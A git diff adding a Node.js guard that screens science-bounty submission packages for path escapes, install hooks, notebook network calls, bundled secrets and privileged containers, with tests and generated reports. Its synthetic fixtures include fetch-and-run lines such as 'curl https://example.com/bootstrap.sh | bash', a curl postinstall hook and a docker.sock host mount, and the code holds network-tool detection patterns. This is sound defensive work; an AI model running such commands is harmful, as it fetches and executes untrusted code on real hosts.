diff --git a/scientific-bounty-submission-security-guard/README.md b/scientific-bounty-submission-security-guard/README.md
new file mode 100644
index 00000000..d55e971a
--- /dev/null
+++ b/scientific-bounty-submission-security-guard/README.md
@@ -0,0 +1,29 @@
+# Scientific Bounty Submission Security Guard
+
+Focused slice for SCIBASE issue #18, Scientific Bounty System.
+
+This module reviews solver submission packages before sponsor or reviewer access. It detects unsafe executable artifacts, path traversal, dependency install hooks, privileged containers, notebook network calls, secret-like environment values, Office macros, and reviewer-sandbox gaps.
+
+## What it checks
+
+- Submission manifests cannot write outside the review workspace.
+- Executable files require explicit declaration, hash evidence, and reviewer sandbox approval.
+- Dependency lifecycle scripts are blocked or stripped before reviewer execution.
+- Notebooks with shell, network, or local-path cells are quarantined.
+- Containers cannot request privileged mode, host mounts, or uncontrolled outbound network.
+- Secret-like environment variables are not bundled into challenge packages.
+- Sponsor/reviewer packets get deterministic allow, sanitize, quarantine, or hold decisions.
+
+## Local verification
+
+```bash
+node scientific-bounty-submission-security-guard/test.js
+node scientific-bounty-submission-security-guard/demo.js
+node scientific-bounty-submission-security-guard/make-demo-video.js
+```
+
+Generated reviewer artifacts are written to `scientific-bounty-submission-security-guard/reports/`.
+
+## Safety
+
+Fixtures are synthetic. The module does not execute submitted code, unpack archives, call malware scanners, contact package registries, use credentials, or touch live challenge workspaces.
diff --git a/scientific-bounty-submission-security-guard/demo.js b/scientific-bounty-submission-security-guard/demo.js
new file mode 100644
index 00000000..7f1cb928
--- /dev/null
+++ b/scientific-bounty-submission-security-guard/demo.js
@@ -0,0 +1,18 @@
+const fs = require("fs");
+const path = require("path");
+const { submissions } = require("./sample-data");
+const { reviewSubmissions, renderMarkdownReport, renderSvgReport } = require("./index");
+
+function main() {
+ const report = reviewSubmissions(submissions);
+ const reportDir = path.join(__dirname, "reports");
+ fs.mkdirSync(reportDir, { recursive: true });
+ fs.writeFileSync(path.join(reportDir, "submission-security-review.json"), `${JSON.stringify(report, null, 2)}\n`);
+ fs.writeFileSync(path.join(reportDir, "submission-security-review.md"), renderMarkdownReport(report));
+ fs.writeFileSync(path.join(reportDir, "submission-security-summary.svg"), renderSvgReport(report));
+ console.log("submission security demo generated");
+ console.log(`decision summary: ${JSON.stringify(report.summary)}`);
+ console.log(`reports: ${reportDir}`);
+}
+
+main();
diff --git a/scientific-bounty-submission-security-guard/index.js b/scientific-bounty-submission-security-guard/index.js
new file mode 100644
index 00000000..83b2036d
--- /dev/null
+++ b/scientific-bounty-submission-security-guard/index.js
@@ -0,0 +1,259 @@
+const NETWORK_PATTERNS = [/\bhttps?:\/\//i, /\bcurl\b/i, /\bwget\b/i, /\brequests\./i, /\bsocket\b/i, /\bnc\b/i];
+const SECRET_KEY_PATTERN = /(token|secret|password|api[_-]?key|private[_-]?key|access[_-]?key)/i;
+const LIFECYCLE_SCRIPTS = new Set(["preinstall", "install", "postinstall", "prepare"]);
+
+function hasPathEscape(filePath) {
+ return (
+ typeof filePath !== "string" ||
+ filePath.startsWith("/") ||
+ filePath.split(/[\\/]+/).some((part) => part === "..")
+ );
+}
+
+function hasNetworkCall(source) {
+ return NETWORK_PATTERNS.some((pattern) => pattern.test(source || ""));
+}
+
+function addIssue(issues, severity, code, message, context) {
+ issues.push({ severity, code, message, context });
+}
+
+function reviewFiles(submission, issues, actions) {
+ for (const file of submission.files || []) {
+ if (hasPathEscape(file.path)) {
+ addIssue(issues, "critical", "path-escape", "File path can escape the reviewer workspace.", file.path);
+ actions.push(`Quarantine ${file.path} and require a normalized manifest path.`);
+ }
+
+ if (file.executable && !submission.reviewerSandbox.allowExecutables) {
+ addIssue(issues, "critical", "undeclared-executable", "Executable artifact is not allowed by the reviewer sandbox.", file.path);
+ actions.push(`Block executable artifact ${file.path} before sponsor or reviewer access.`);
+ }
+
+ if (file.hasMacros || /\.docm$/i.test(file.path || "")) {
+ addIssue(issues, "high", "macro-enabled-document", "Macro-enabled document requires redaction or isolated review.", file.path);
+ actions.push(`Convert or strip macros from ${file.path} before release.`);
+ }
+ }
+}
+
+function reviewNotebooks(submission, issues, actions) {
+ for (const notebook of submission.notebooks || []) {
+ for (const [index, cell] of (notebook.cells || []).entries()) {
+ const context = `${notebook.path}:cell-${index + 1}`;
+ if (cell.kind === "shell") {
+ addIssue(issues, "critical", "shell-notebook-cell", "Notebook contains a shell cell in the review packet.", context);
+ actions.push(`Disable shell execution in ${context}.`);
+ }
+
+ if (hasNetworkCall(cell.source) && !submission.reviewerSandbox.outboundNetwork) {
+ addIssue(issues, "critical", "notebook-network-call", "Notebook attempts network access while sandbox network is disabled.", context);
+ actions.push(`Run ${context} in a no-network sandbox or require offline fixture replacement.`);
+ }
+
+ if (/\/Users\/|C:\\\\|\/home\/|file:\/\//i.test(cell.source || "")) {
+ addIssue(issues, "medium", "local-path-leak", "Notebook contains local filesystem paths that should be redacted.", context);
+ actions.push(`Redact local path evidence from ${context}.`);
+ }
+ }
+ }
+}
+
+function reviewDependencies(submission, issues, actions) {
+ const scripts = (submission.dependencies && submission.dependencies.npmScripts) || {};
+ for (const [name, command] of Object.entries(scripts)) {
+ if (LIFECYCLE_SCRIPTS.has(name)) {
+ const severity = hasNetworkCall(command) ? "critical" : "high";
+ addIssue(issues, severity, "dependency-lifecycle-script", `Dependency lifecycle script ${name} must not run during reviewer install.`, name);
+ actions.push(`Strip or sandbox npm ${name} before reviewer installation.`);
+ }
+ }
+}
+
+function reviewEnvironment(submission, issues, actions) {
+ for (const [key, value] of Object.entries(submission.env || {})) {
+ if (SECRET_KEY_PATTERN.test(key) && value) {
+ addIssue(issues, "critical", "bundled-secret-like-env", "Secret-like environment value is bundled with the submission.", key);
+ actions.push(`Remove ${key} from the review packet and rotate if it was real.`);
+ }
+ }
+}
+
+function reviewContainer(submission, issues, actions) {
+ const container = submission.container || {};
+ if (container.privileged && !submission.reviewerSandbox.containerPrivileged) {
+ addIssue(issues, "critical", "privileged-container", "Container requests privileged execution.", container.image);
+ actions.push("Reject privileged container mode for reviewer execution.");
+ }
+
+ if ((container.hostMounts || []).length > 0) {
+ addIssue(issues, "critical", "host-mount-request", "Container requests host mounts.", container.hostMounts.join(", "));
+ actions.push("Remove host mounts before sandbox review.");
+ }
+
+ if (container.network && container.network !== "none" && !submission.reviewerSandbox.outboundNetwork) {
+ addIssue(issues, "high", "container-network-enabled", "Container network mode is not compatible with the reviewer sandbox.", container.network);
+ actions.push("Force container network mode to none unless the sponsor grants a documented waiver.");
+ }
+}
+
+function scoreFromIssues(issues) {
+ const weights = { critical: 30, high: 15, medium: 6, low: 2 };
+ const deduction = issues.reduce((sum, issue) => sum + (weights[issue.severity] || 4), 0);
+ return Math.max(0, 100 - deduction);
+}
+
+function decisionFromIssues(issues) {
+ const critical = issues.filter((issue) => issue.severity === "critical").length;
+ const high = issues.filter((issue) => issue.severity === "high").length;
+ if (critical >= 3) return "hold-sponsor-review";
+ if (critical > 0) return "quarantine-submission";
+ if (high > 0) return "sanitize-before-review";
+ return "clear-for-review";
+}
+
+function reviewSubmission(submission) {
+ const issues = [];
+ const actions = [];
+
+ reviewFiles(submission, issues, actions);
+ reviewNotebooks(submission, issues, actions);
+ reviewDependencies(submission, issues, actions);
+ reviewEnvironment(submission, issues, actions);
+ reviewContainer(submission, issues, actions);
+
+ if (actions.length === 0) {
+ actions.push("Release package to the reviewer sandbox with network disabled.");
+ }
+
+ return {
+ submissionId: submission.id,
+ challengeId: submission.challengeId,
+ teamId: submission.teamId,
+ decision: decisionFromIssues(issues),
+ securityScore: scoreFromIssues(issues),
+ issueCounts: issues.reduce((counts, issue) => {
+ counts[issue.severity] = (counts[issue.severity] || 0) + 1;
+ return counts;
+ }, {}),
+ issues,
+ actions: Array.from(new Set(actions)),
+ };
+}
+
+function reviewSubmissions(submissions) {
+ const results = submissions.map(reviewSubmission);
+ const summary = {
+ submissionCount: results.length,
+ clearForReview: results.filter((result) => result.decision === "clear-for-review").length,
+ sanitizeBeforeReview: results.filter((result) => result.decision === "sanitize-before-review").length,
+ quarantined: results.filter((result) => result.decision === "quarantine-submission").length,
+ heldForSponsorReview: results.filter((result) => result.decision === "hold-sponsor-review").length,
+ averageSecurityScore: Math.round(results.reduce((sum, result) => sum + result.securityScore, 0) / results.length),
+ };
+
+ return {
+ generatedAt: new Date("2026-05-28T00:00:00Z").toISOString(),
+ requirementMap: [
+ "Submission engine: screens solver packages before reviewer or sponsor access.",
+ "Secure project space: prevents workspace escape, host mounts, and unsafe execution requests.",
+ "Arbitration readiness: emits deterministic hold, quarantine, sanitize, or release actions.",
+ "Audit logs: preserves reviewer-facing issue codes and remediation steps without executing submitted code.",
+ ],
+ summary,
+ results,
+ };
+}
+
+function escapeHtml(value) {
+ return String(value).replace(/&/g, "&").replace(//g, ">");
+}
+
+function renderMarkdownReport(report) {
+ const lines = [
+ "# Submission Security Review",
+ "",
+ `Generated: ${report.generatedAt}`,
+ "",
+ "## Summary",
+ "",
+ `- Submissions reviewed: ${report.summary.submissionCount}`,
+ `- Clear for review: ${report.summary.clearForReview}`,
+ `- Sanitize before review: ${report.summary.sanitizeBeforeReview}`,
+ `- Quarantined: ${report.summary.quarantined}`,
+ `- Held for sponsor review: ${report.summary.heldForSponsorReview}`,
+ `- Average security score: ${report.summary.averageSecurityScore}`,
+ "",
+ "## Requirement Map",
+ "",
+ ...report.requirementMap.map((item) => `- ${item}`),
+ "",
+ "## Decisions",
+ "",
+ ];
+
+ for (const result of report.results) {
+ lines.push(`### ${result.submissionId}`);
+ lines.push("");
+ lines.push(`- Decision: ${result.decision}`);
+ lines.push(`- Security score: ${result.securityScore}`);
+ lines.push(`- Issues: ${result.issues.length}`);
+ for (const action of result.actions) {
+ lines.push(`- Action: ${action}`);
+ }
+ lines.push("");
+ }
+
+ return `${lines.join("\n").trimEnd()}\n`;
+}
+
+function renderSvgReport(report) {
+ const width = 1120;
+ const rowHeight = 88;
+ const height = 150 + report.results.length * rowHeight;
+ const rows = report.results
+ .map((result, index) => {
+ const y = 112 + index * rowHeight;
+ const color =
+ result.decision === "clear-for-review"
+ ? "#2f9e44"
+ : result.decision === "sanitize-before-review"
+ ? "#f08c00"
+ : "#d6336c";
+ const barWidth = Math.max(24, Math.round(result.securityScore * 5.2));
+ return `
+
+ ${escapeHtml(result.submissionId)}
+ Decision: ${escapeHtml(result.decision)} | Issues: ${result.issues.length}
+
+
+ ${result.securityScore}
+ `;
+ })
+ .join("\n");
+
+ return `
+`;
+}
+
+module.exports = {
+ reviewSubmission,
+ reviewSubmissions,
+ renderMarkdownReport,
+ renderSvgReport,
+ hasPathEscape,
+ hasNetworkCall,
+};
diff --git a/scientific-bounty-submission-security-guard/make-demo-video.js b/scientific-bounty-submission-security-guard/make-demo-video.js
new file mode 100644
index 00000000..03db8030
--- /dev/null
+++ b/scientific-bounty-submission-security-guard/make-demo-video.js
@@ -0,0 +1,67 @@
+const fs = require("fs");
+const path = require("path");
+const { spawnSync } = require("child_process");
+const { submissions } = require("./sample-data");
+const { reviewSubmissions } = require("./index");
+
+function ffmpegCandidates() {
+ return ["ffmpeg", "/opt/homebrew/bin/ffmpeg", "/usr/local/bin/ffmpeg"];
+}
+
+function makeVideo(output) {
+ const report = reviewSubmissions(submissions);
+ const clearWidth = 120 + report.summary.clearForReview * 170;
+ const quarantineWidth = 120 + report.summary.quarantined * 170;
+ const holdWidth = 120 + report.summary.heldForSponsorReview * 170;
+ const filter = [
+ "drawbox=x=0:y=0:w=1280:h=720:color=0x0b1020@1:t=fill",
+ "drawbox=x=80:y=110:w=1120:h=8:color=0x4dabf7@1:t=fill",
+ `drawbox=x=120:y=220:w=${clearWidth}:h=90:color=0x2f9e44@1:t=fill`,
+ `drawbox=x=120:y=340:w=${quarantineWidth}:h=90:color=0xf08c00@1:t=fill`,
+ `drawbox=x=120:y=460:w=${holdWidth}:h=90:color=0xd6336c@1:t=fill`,
+ "drawbox=x=120:y=590:w=1020:h=24:color=0x495057@1:t=fill",
+ ].join(",");
+
+ const errors = [];
+ for (const ffmpeg of ffmpegCandidates()) {
+ const result = spawnSync(
+ ffmpeg,
+ [
+ "-y",
+ "-f",
+ "lavfi",
+ "-i",
+ "color=c=black:s=1280x720:r=12:d=4",
+ "-vf",
+ filter,
+ "-c:v",
+ "libx264",
+ "-pix_fmt",
+ "yuv420p",
+ "-movflags",
+ "+faststart",
+ output,
+ ],
+ { encoding: "utf8" },
+ );
+
+ if (result.status === 0 && fs.existsSync(output) && fs.statSync(output).size > 1000) {
+ return;
+ }
+
+ const stderr = (result.stderr || result.error || "").toString();
+ errors.push(`${ffmpeg}: ${stderr.split("\n").slice(-8).join("\n")}`);
+ }
+
+ throw new Error(`ffmpeg failed to generate demo video:\n${errors.join("\n")}`);
+}
+
+function main() {
+ const reportDir = path.join(__dirname, "reports");
+ fs.mkdirSync(reportDir, { recursive: true });
+ const output = path.join(reportDir, "demo.mp4");
+ makeVideo(output);
+ console.log(`demo video generated: ${output}`);
+}
+
+main();
diff --git a/scientific-bounty-submission-security-guard/reports/demo.mp4 b/scientific-bounty-submission-security-guard/reports/demo.mp4
new file mode 100644
index 00000000..9596bd7c
Binary files /dev/null and b/scientific-bounty-submission-security-guard/reports/demo.mp4 differ
diff --git a/scientific-bounty-submission-security-guard/reports/submission-security-review.json b/scientific-bounty-submission-security-guard/reports/submission-security-review.json
new file mode 100644
index 00000000..198bfa93
--- /dev/null
+++ b/scientific-bounty-submission-security-guard/reports/submission-security-review.json
@@ -0,0 +1,166 @@
+{
+ "generatedAt": "2026-05-28T00:00:00.000Z",
+ "requirementMap": [
+ "Submission engine: screens solver packages before reviewer or sponsor access.",
+ "Secure project space: prevents workspace escape, host mounts, and unsafe execution requests.",
+ "Arbitration readiness: emits deterministic hold, quarantine, sanitize, or release actions.",
+ "Audit logs: preserves reviewer-facing issue codes and remediation steps without executing submitted code."
+ ],
+ "summary": {
+ "submissionCount": 4,
+ "clearForReview": 1,
+ "sanitizeBeforeReview": 0,
+ "quarantined": 1,
+ "heldForSponsorReview": 2,
+ "averageSecurityScore": 43
+ },
+ "results": [
+ {
+ "submissionId": "sub-clean-model",
+ "challengeId": "biomarker-single-cell",
+ "teamId": "atlas-lab",
+ "decision": "clear-for-review",
+ "securityScore": 100,
+ "issueCounts": {},
+ "issues": [],
+ "actions": [
+ "Release package to the reviewer sandbox with network disabled."
+ ]
+ },
+ {
+ "submissionId": "sub-network-notebook",
+ "challengeId": "climate-forecast",
+ "teamId": "helix-models",
+ "decision": "hold-sponsor-review",
+ "securityScore": 0,
+ "issueCounts": {
+ "critical": 5,
+ "high": 1
+ },
+ "issues": [
+ {
+ "severity": "critical",
+ "code": "undeclared-executable",
+ "message": "Executable artifact is not allowed by the reviewer sandbox.",
+ "context": "bin/postprocess.sh"
+ },
+ {
+ "severity": "critical",
+ "code": "notebook-network-call",
+ "message": "Notebook attempts network access while sandbox network is disabled.",
+ "context": "analysis.ipynb:cell-1"
+ },
+ {
+ "severity": "critical",
+ "code": "shell-notebook-cell",
+ "message": "Notebook contains a shell cell in the review packet.",
+ "context": "analysis.ipynb:cell-2"
+ },
+ {
+ "severity": "critical",
+ "code": "notebook-network-call",
+ "message": "Notebook attempts network access while sandbox network is disabled.",
+ "context": "analysis.ipynb:cell-2"
+ },
+ {
+ "severity": "critical",
+ "code": "bundled-secret-like-env",
+ "message": "Secret-like environment value is bundled with the submission.",
+ "context": "API_TOKEN"
+ },
+ {
+ "severity": "high",
+ "code": "container-network-enabled",
+ "message": "Container network mode is not compatible with the reviewer sandbox.",
+ "context": "bridge"
+ }
+ ],
+ "actions": [
+ "Block executable artifact bin/postprocess.sh before sponsor or reviewer access.",
+ "Run analysis.ipynb:cell-1 in a no-network sandbox or require offline fixture replacement.",
+ "Disable shell execution in analysis.ipynb:cell-2.",
+ "Run analysis.ipynb:cell-2 in a no-network sandbox or require offline fixture replacement.",
+ "Remove API_TOKEN from the review packet and rotate if it was real.",
+ "Force container network mode to none unless the sponsor grants a documented waiver."
+ ]
+ },
+ {
+ "submissionId": "sub-dependency-hook",
+ "challengeId": "quantum-noise",
+ "teamId": "phase-labs",
+ "decision": "quarantine-submission",
+ "securityScore": 70,
+ "issueCounts": {
+ "critical": 1
+ },
+ "issues": [
+ {
+ "severity": "critical",
+ "code": "dependency-lifecycle-script",
+ "message": "Dependency lifecycle script postinstall must not run during reviewer install.",
+ "context": "postinstall"
+ }
+ ],
+ "actions": [
+ "Strip or sandbox npm postinstall before reviewer installation."
+ ]
+ },
+ {
+ "submissionId": "sub-escape-and-privileged-container",
+ "challengeId": "materials-discovery",
+ "teamId": "cobalt-bio",
+ "decision": "hold-sponsor-review",
+ "securityScore": 0,
+ "issueCounts": {
+ "critical": 4,
+ "high": 2
+ },
+ "issues": [
+ {
+ "severity": "critical",
+ "code": "path-escape",
+ "message": "File path can escape the reviewer workspace.",
+ "context": "../outside-workspace.csv"
+ },
+ {
+ "severity": "high",
+ "code": "macro-enabled-document",
+ "message": "Macro-enabled document requires redaction or isolated review.",
+ "context": "report.docm"
+ },
+ {
+ "severity": "critical",
+ "code": "bundled-secret-like-env",
+ "message": "Secret-like environment value is bundled with the submission.",
+ "context": "AWS_SECRET_ACCESS_KEY"
+ },
+ {
+ "severity": "critical",
+ "code": "privileged-container",
+ "message": "Container requests privileged execution.",
+ "context": "ubuntu:latest"
+ },
+ {
+ "severity": "critical",
+ "code": "host-mount-request",
+ "message": "Container requests host mounts.",
+ "context": "/var/run/docker.sock"
+ },
+ {
+ "severity": "high",
+ "code": "container-network-enabled",
+ "message": "Container network mode is not compatible with the reviewer sandbox.",
+ "context": "host"
+ }
+ ],
+ "actions": [
+ "Quarantine ../outside-workspace.csv and require a normalized manifest path.",
+ "Convert or strip macros from report.docm before release.",
+ "Remove AWS_SECRET_ACCESS_KEY from the review packet and rotate if it was real.",
+ "Reject privileged container mode for reviewer execution.",
+ "Remove host mounts before sandbox review.",
+ "Force container network mode to none unless the sponsor grants a documented waiver."
+ ]
+ }
+ ]
+}
diff --git a/scientific-bounty-submission-security-guard/reports/submission-security-review.md b/scientific-bounty-submission-security-guard/reports/submission-security-review.md
new file mode 100644
index 00000000..d52b33ca
--- /dev/null
+++ b/scientific-bounty-submission-security-guard/reports/submission-security-review.md
@@ -0,0 +1,59 @@
+# Submission Security Review
+
+Generated: 2026-05-28T00:00:00.000Z
+
+## Summary
+
+- Submissions reviewed: 4
+- Clear for review: 1
+- Sanitize before review: 0
+- Quarantined: 1
+- Held for sponsor review: 2
+- Average security score: 43
+
+## Requirement Map
+
+- Submission engine: screens solver packages before reviewer or sponsor access.
+- Secure project space: prevents workspace escape, host mounts, and unsafe execution requests.
+- Arbitration readiness: emits deterministic hold, quarantine, sanitize, or release actions.
+- Audit logs: preserves reviewer-facing issue codes and remediation steps without executing submitted code.
+
+## Decisions
+
+### sub-clean-model
+
+- Decision: clear-for-review
+- Security score: 100
+- Issues: 0
+- Action: Release package to the reviewer sandbox with network disabled.
+
+### sub-network-notebook
+
+- Decision: hold-sponsor-review
+- Security score: 0
+- Issues: 6
+- Action: Block executable artifact bin/postprocess.sh before sponsor or reviewer access.
+- Action: Run analysis.ipynb:cell-1 in a no-network sandbox or require offline fixture replacement.
+- Action: Disable shell execution in analysis.ipynb:cell-2.
+- Action: Run analysis.ipynb:cell-2 in a no-network sandbox or require offline fixture replacement.
+- Action: Remove API_TOKEN from the review packet and rotate if it was real.
+- Action: Force container network mode to none unless the sponsor grants a documented waiver.
+
+### sub-dependency-hook
+
+- Decision: quarantine-submission
+- Security score: 70
+- Issues: 1
+- Action: Strip or sandbox npm postinstall before reviewer installation.
+
+### sub-escape-and-privileged-container
+
+- Decision: hold-sponsor-review
+- Security score: 0
+- Issues: 6
+- Action: Quarantine ../outside-workspace.csv and require a normalized manifest path.
+- Action: Convert or strip macros from report.docm before release.
+- Action: Remove AWS_SECRET_ACCESS_KEY from the review packet and rotate if it was real.
+- Action: Reject privileged container mode for reviewer execution.
+- Action: Remove host mounts before sandbox review.
+- Action: Force container network mode to none unless the sponsor grants a documented waiver.
diff --git a/scientific-bounty-submission-security-guard/reports/submission-security-summary.svg b/scientific-bounty-submission-security-guard/reports/submission-security-summary.svg
new file mode 100644
index 00000000..35f7b0ce
--- /dev/null
+++ b/scientific-bounty-submission-security-guard/reports/submission-security-summary.svg
@@ -0,0 +1,45 @@
+
diff --git a/scientific-bounty-submission-security-guard/sample-data.js b/scientific-bounty-submission-security-guard/sample-data.js
new file mode 100644
index 00000000..1ebfacb0
--- /dev/null
+++ b/scientific-bounty-submission-security-guard/sample-data.js
@@ -0,0 +1,83 @@
+const submissions = [
+ {
+ id: "sub-clean-model",
+ challengeId: "biomarker-single-cell",
+ teamId: "atlas-lab",
+ reviewerSandbox: { outboundNetwork: false, allowExecutables: false, containerPrivileged: false },
+ files: [
+ { path: "README.md", type: "document", size: 2048, hash: "sha256:a1", executable: false },
+ { path: "src/model.py", type: "code", size: 12144, hash: "sha256:a2", executable: false },
+ { path: "results/metrics.csv", type: "data", size: 4096, hash: "sha256:a3", executable: false },
+ ],
+ notebooks: [
+ {
+ path: "notebooks/reproduce.ipynb",
+ cells: [
+ { kind: "markdown", source: "Reproduce the submitted benchmark results." },
+ { kind: "code", source: "import pandas as pd\npd.read_csv('../results/metrics.csv').head()" },
+ ],
+ },
+ ],
+ dependencies: { npmScripts: {}, pipRequirements: ["pandas==2.2.0"] },
+ env: {},
+ container: { image: "python:3.12-slim", privileged: false, hostMounts: [], network: "none" },
+ },
+ {
+ id: "sub-network-notebook",
+ challengeId: "climate-forecast",
+ teamId: "helix-models",
+ reviewerSandbox: { outboundNetwork: false, allowExecutables: false, containerPrivileged: false },
+ files: [
+ { path: "analysis.ipynb", type: "notebook", size: 90412, hash: "sha256:b1", executable: false },
+ { path: "bin/postprocess.sh", type: "script", size: 5120, hash: "sha256:b2", executable: true },
+ ],
+ notebooks: [
+ {
+ path: "analysis.ipynb",
+ cells: [
+ { kind: "code", source: "import requests\nrequests.get('https://example.com/private-score')" },
+ { kind: "shell", source: "curl https://example.com/bootstrap.sh | bash" },
+ ],
+ },
+ ],
+ dependencies: { npmScripts: {}, pipRequirements: ["requests"] },
+ env: { API_TOKEN: "synthetic-secret-token" },
+ container: { image: "python:3.11", privileged: false, hostMounts: [], network: "bridge" },
+ },
+ {
+ id: "sub-dependency-hook",
+ challengeId: "quantum-noise",
+ teamId: "phase-labs",
+ reviewerSandbox: { outboundNetwork: false, allowExecutables: false, containerPrivileged: false },
+ files: [
+ { path: "package.json", type: "manifest", size: 1900, hash: "sha256:c1", executable: false },
+ { path: "src/solver.ts", type: "code", size: 6400, hash: "sha256:c2", executable: false },
+ ],
+ notebooks: [],
+ dependencies: {
+ npmScripts: {
+ test: "node test.js",
+ postinstall: "node scripts/fetch-benchmark.js && curl https://example.com/payload",
+ },
+ pipRequirements: [],
+ },
+ env: {},
+ container: { image: "node:22", privileged: false, hostMounts: [], network: "none" },
+ },
+ {
+ id: "sub-escape-and-privileged-container",
+ challengeId: "materials-discovery",
+ teamId: "cobalt-bio",
+ reviewerSandbox: { outboundNetwork: false, allowExecutables: false, containerPrivileged: false },
+ files: [
+ { path: "../outside-workspace.csv", type: "data", size: 128, hash: "sha256:d1", executable: false },
+ { path: "report.docm", type: "document", size: 110220, hash: "sha256:d2", executable: false, hasMacros: true },
+ ],
+ notebooks: [],
+ dependencies: { npmScripts: {}, pipRequirements: [] },
+ env: { AWS_SECRET_ACCESS_KEY: "synthetic-aws-secret" },
+ container: { image: "ubuntu:latest", privileged: true, hostMounts: ["/var/run/docker.sock"], network: "host" },
+ },
+];
+
+module.exports = { submissions };
diff --git a/scientific-bounty-submission-security-guard/test.js b/scientific-bounty-submission-security-guard/test.js
new file mode 100644
index 00000000..6cf04ae0
--- /dev/null
+++ b/scientific-bounty-submission-security-guard/test.js
@@ -0,0 +1,43 @@
+const assert = require("assert");
+const { submissions } = require("./sample-data");
+const { reviewSubmissions, hasPathEscape, hasNetworkCall } = require("./index");
+
+function byId(report, id) {
+ return report.results.find((result) => result.submissionId === id);
+}
+
+function runTests() {
+ assert.strictEqual(hasPathEscape("../secret.csv"), true);
+ assert.strictEqual(hasPathEscape("/tmp/out.csv"), true);
+ assert.strictEqual(hasPathEscape("results/metrics.csv"), false);
+ assert.strictEqual(hasNetworkCall("requests.get('https://example.com')"), true);
+ assert.strictEqual(hasNetworkCall("pd.read_csv('local.csv')"), false);
+
+ const report = reviewSubmissions(submissions);
+ assert.strictEqual(report.summary.submissionCount, 4);
+
+ const clean = byId(report, "sub-clean-model");
+ assert.strictEqual(clean.decision, "clear-for-review");
+ assert.strictEqual(clean.securityScore, 100);
+ assert.strictEqual(clean.issues.length, 0);
+
+ const notebook = byId(report, "sub-network-notebook");
+ assert.strictEqual(notebook.decision, "hold-sponsor-review");
+ assert.ok(notebook.issues.some((issue) => issue.code === "notebook-network-call"));
+ assert.ok(notebook.issues.some((issue) => issue.code === "shell-notebook-cell"));
+ assert.ok(notebook.issues.some((issue) => issue.code === "bundled-secret-like-env"));
+
+ const dependency = byId(report, "sub-dependency-hook");
+ assert.strictEqual(dependency.decision, "quarantine-submission");
+ assert.ok(dependency.issues.some((issue) => issue.code === "dependency-lifecycle-script"));
+
+ const container = byId(report, "sub-escape-and-privileged-container");
+ assert.strictEqual(container.decision, "hold-sponsor-review");
+ assert.ok(container.issues.some((issue) => issue.code === "path-escape"));
+ assert.ok(container.issues.some((issue) => issue.code === "privileged-container"));
+ assert.ok(container.issues.some((issue) => issue.code === "host-mount-request"));
+
+ console.log("submission security guard tests passed");
+}
+
+runTests();